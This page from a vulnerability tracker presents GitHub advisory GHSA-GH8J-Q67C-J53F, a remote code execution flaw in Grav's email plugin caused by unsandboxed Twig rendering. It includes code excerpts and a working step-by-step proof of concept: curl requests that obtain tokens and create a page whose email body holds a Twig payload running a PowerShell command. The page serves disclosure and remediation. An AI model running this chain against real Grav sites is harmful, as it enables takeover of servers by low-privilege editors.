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Advisory · GitHub · Packagist · getgrav/grav-plugin-email

GHSA-GH8J-Q67C-J53F

RCE via Unsandboxed Email Twig Rendering

Parche disponible
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CVSS
—
high
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche2 versiones2.0.16 · 5.0.4
Exposición103 dDesde la divulgación, 10 ago 2026, 12:09 p. m.
Detección100 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de la severidad declarada por GHSA (alta) y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico parcial. Hay versiones corregidas disponibles.
Esto huele a PoC esperando su momento.Yo la vigilo, tú la programas. ¿Trato?
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Monitoreo
Detectada +1
10 ago 26
18 nov 26
21 nov 26
10 ago 26
5 sept 26
1 oct 26
27 oct 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-GH8J-Q67C-J53F divulgada
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

Grav 2.0.15 renders page-editor-controlled Email action parameters as unsandboxed Twig templates. An authenticated remote user with only `api.access` and `api.pages.write` can place a Twig expression in `header.form.process.email.body`, publish the page, and submit the form to execute an arbitrary operating-system process as the account running PHP.

The attacker does not need `admin.super`, `admin.pages_twig`, `api.system.write`, an existing machine login, root privileges, environment-variable control, or a working mail server.

Details
1. A page editor can persist arbitrary form action parameters

`user/plugins/api/classes/Api/Controllers/PagesController.php` protects page creation and updates with `api.pages.write` (2.0.15 lines 35 and 380-398):

private const PERMISSION_WRITE = 'api.pages.write';

public function create(ServerRequestInterface $request): ResponseInterface
{
    $this->requirePermission($request, self::PERMISSION_WRITE);
    // ...
    $header = $body['header'] ?? [];
}

The partial blueprint validator deliberately ignores keys that are not defined by the page blueprint (`AbstractApiController.php`, 2.0.15 lines 418-422):

$field = $schema->getProperty($name);
if (!is_array($field) || !isset($field['type'])) {
    // Not a blueprint-defined field (extra/legacy key) — nothing to validate.
    continue;
}

Consequently, a page writer can persist an arbitrary nested `header.form.process.email` structure. The special Twig-content authorization check in `PagesController::guardTwigContent()` (2.0.15 lines 2657-2703, especially lines 2662-2674) examines only `header.process.twig`; it does not examine Twig embedded in form Email parameters. The attacker therefore does not need `admin.pages_twig`, and `process.twig` can remain disabled.

2. Grav treats `header.form` as an executable form definition

`system/src/Grav/Common/Page/Traits/PageFormTrait.php` loads forms directly from page frontmatter (2.0.15 lines 25-44):

// First grab page.header.form
$form = $this->normalizeForm($header->form ?? null, null, $rules);

When the form is submitted, `user/plugins/form/classes/Form.php` iterates the attacker-authored `process` map and fires `onFormProcessed` with each action and its parameters (2.0.15 lines 987-1008):

$process = $this->items['process'] ?? [];

foreach ($process as $action => $data) {
    $event = new Event(['form' => $this, 'action' => $action, 'params' => $data]);
    $grav->fireEvent('onFormProcessed', $event);
}

The Email plugin receives the `email` action and calls `Email::buildMessage()` (`user/plugins/email/email.php`, 2.0.15 lines 100-140).

3. Email parameters are rendered outside the Twig sandbox

`user/plugins/email/classes/Email.php`, 2.0.15 lines 389-428, recursively processes every string parameter:

protected function processParams(array $params, array $vars = []): array
{
    $twig = Grav::instance()['twig'];
    $twig->init();
    $vars += $twig->twig_vars;

    array_walk_recursive($params, function (&$value) use ($twig, $vars) {
        if (is_string($value)) {
            // Process Twig strings WITHOUT security filtering
            // Email params come from trusted YAML config, not user input
            $value = $this->processTwigString($twig, $value, $vars);
        }
    });

    return $params;
}

protected function processTwigString(Twig $twig, string $string, array $vars): string
{
    $name = '@EmailVar:' . md5($string);
    $twig->setTemplate($name, $string);
    return $twig->twig->render($name, $vars);
}

The comment that Email parameters come only from trusted YAML is incorrect because page editors can author the YAML frontmatter used by the Form plugin.

`system/src/Grav/Common/Twig/Sandbox/GravSourcePolicy.php` enables the sandbox only for source names beginning with `@Page:` or `@Var:` (2.0.15 lines 33-43):

return str_starts_with($name, '@Page:') || str_starts_with($name, '@Var:');

The `@EmailVar:` source therefore executes without sandbox method restrictions.

4. Unsandboxed Twig exposes an operating-system process primitive

`system/src/Grav/Common/Twig/Extension/GravExtension.php` exposes the complete Grav container as a global (2.0.15 lines 100-104):

public function getGlobals(): array
{
    return ['grav' => $this->grav];
}

The container maps `scheduler` to `Grav\Common\Scheduler\Scheduler` (`system/src/Grav/Common/Grav.php`, 2.0.15 line 123). `Scheduler::addCommand()` accepts a command and attacker-controlled argument array (`system/src/Grav/Common/Scheduler/Scheduler.php`, 2.0.15 lines 266-279):

public function addCommand($command, $args = [], $id = null)
{
    $job = new Job($command, $args, $id);
    $this->queueJob($job->configure($this->config));
    return $job;
}

`Job::run()` passes the command to Symfony Process (`system/src/Grav/Common/Scheduler/Job.php`, 2.0.15 lines 398-443; process construction occurs at lines 429-443):

$args = is_string($this->args) ? explode(' ', $this->args) : $this->args;
$command = array_merge([$this->command], $args);
$process = new Process($command);
$process->run();

This makes the following Twig expression an operating-system command execution primitive:

{{ grav.scheduler.addCommand('powershell.exe', ['-NoProfile', '-Command', '...']).inForeground().run() }}

Message construction occurs before Email delivery. The command therefore executes even when Sendmail/SMTP is absent and the form ultimately reports a mail-delivery error.

The same sink is also directly reachable through `POST /api/v1/email/send` in `user/plugins/email/classes/EmailApiController.php` (2.0.15 lines 24-56). That shorter route requires `api.system.write`; the page-form route is the security-boundary violation because it requires only page-write authority.

PoC
Prerequisites
  • A non-super test account named `test` with these permissions:
  • `api.access`
  • `api.pages.read`
  • `api.pages.write`
  • The account no need to have `admin.super`, `admin.pages_twig`, or `api.system.write`.
Step 1: Obtain a JWT as `test`

From Windows Command Prompt (`cmd`):

set "BASE=http://127.0.0.1/grav-admin"

curl -s -X POST "%BASE%/api/v1/auth/token" ^
  -H "Content-Type: application/json" ^
  --data-raw "{\"username\":\"test\",\"password\":\"TEST_USER_PASSWORD\"}"

Copy the returned `access_token`:

set "TOKEN=eyJ_REPLACE_WITH_ACCESS_TOKEN"
Step 2: Let `test` create its own API key

Creating a key for the currently authenticated account requires only `api.access` .

curl -s -X POST "%BASE%/api/v1/users/test/api-keys" ^
  -H "X-API-Token: %TOKEN%" ^
  -H "Content-Type: application/json" ^
  --data-raw "{\"name\":\"RCE reproduction\",\"scopes\":[\"api.pages.read\",\"api.pages.write\"],\"expiry_days\":1}"

Copy the returned one-time `api_key` value:

set "TESTKEY=grav_REPLACE_WITH_TEST_KEY"
Step 3: Create a form page containing the Twig payload
curl -i -X POST "%BASE%/api/v1/pages" ^
  -H "X-API-Key: %TESTKEY%" ^
  -H "Content-Type: application/json" ^
  --data-raw "{\"route\":\"/rce-proof\",\"title\":\"RCE proof\",\"template\":\"form\",\"content\":\"\",\"header\":{\"published\":true,\"form\":{\"name\":\"rce-proof\",\"fields\":[],\"buttons\":[{\"type\":\"submit\",\"value\":\"Verify\"}],\"process\":{\"email\":{\"from\":\"verification@example.test\",\"to\":\"verification@example.test\",\"subject\":\"Local verification\",\"body\":\"{{ grav.scheduler.addCommand('powershell.exe', ['-NoProfile','-Command','Start-Process calc.exe']).inForeground().run() }}\"}}}}}"

Expected result: `HTTP/1.1 201 Created`. The request succeeds despite the account lacking `admin.pages_twig` and `api.system.write`.

Step 4: Trigger the form

Open the following URL in a browser:

http://127.0.0.1/grav-admin/rce-proof

Click Verify button and you can see the calc.

Impact

This is a server-side template injection vulnerability leading to arbitrary operating-system command execution. It breaks the intended separation between a content/page editor and the server runtime.

An attacker who compromises or legitimately holds a low-privilege page-editor account can execute programs, read or alter site data, steal application secrets, modify executable content, establish persistence, and pivot to resources reachable by the server.

Fix
  1. Replace the custom `@EmailVar:` renderer with Grav's existing sandboxed string renderer:

```php
return $twig->processString($string, $vars);
```

  1. Add `@EmailVar:` to `GravSourcePolicy` as defense in depth if that source name remains in use.
  1. Prefer a dedicated minimal Twig environment for Email parameters that does not expose the `grav` container or arbitrary object methods.
  1. Add regression tests using an account with `api.access` and `api.pages.write` but without `admin.pages_twig`, `api.system.write`, or super-admin access.
  1. Consider rejecting or separately authorizing executable Twig in `header.form.process.email` during page creation and update.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida
getgrav/grav≥ 2.0.0 < 2.0.16
getgrav/grav-plugin-email≥ 5.0.0 < 5.0.4
2.0.0
2.0.16
5.0.0
5.0.4
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
Packagistgetgrav/grav-plugin-email
Corregida 5.0.4 — —
Packagistgetgrav/grav
Corregida 2.0.16 — —
Versiones corregidas2.0.165.0.4
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/getgrav/grav/security/advisories/GHSA-gh8j-q67c-j53f

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.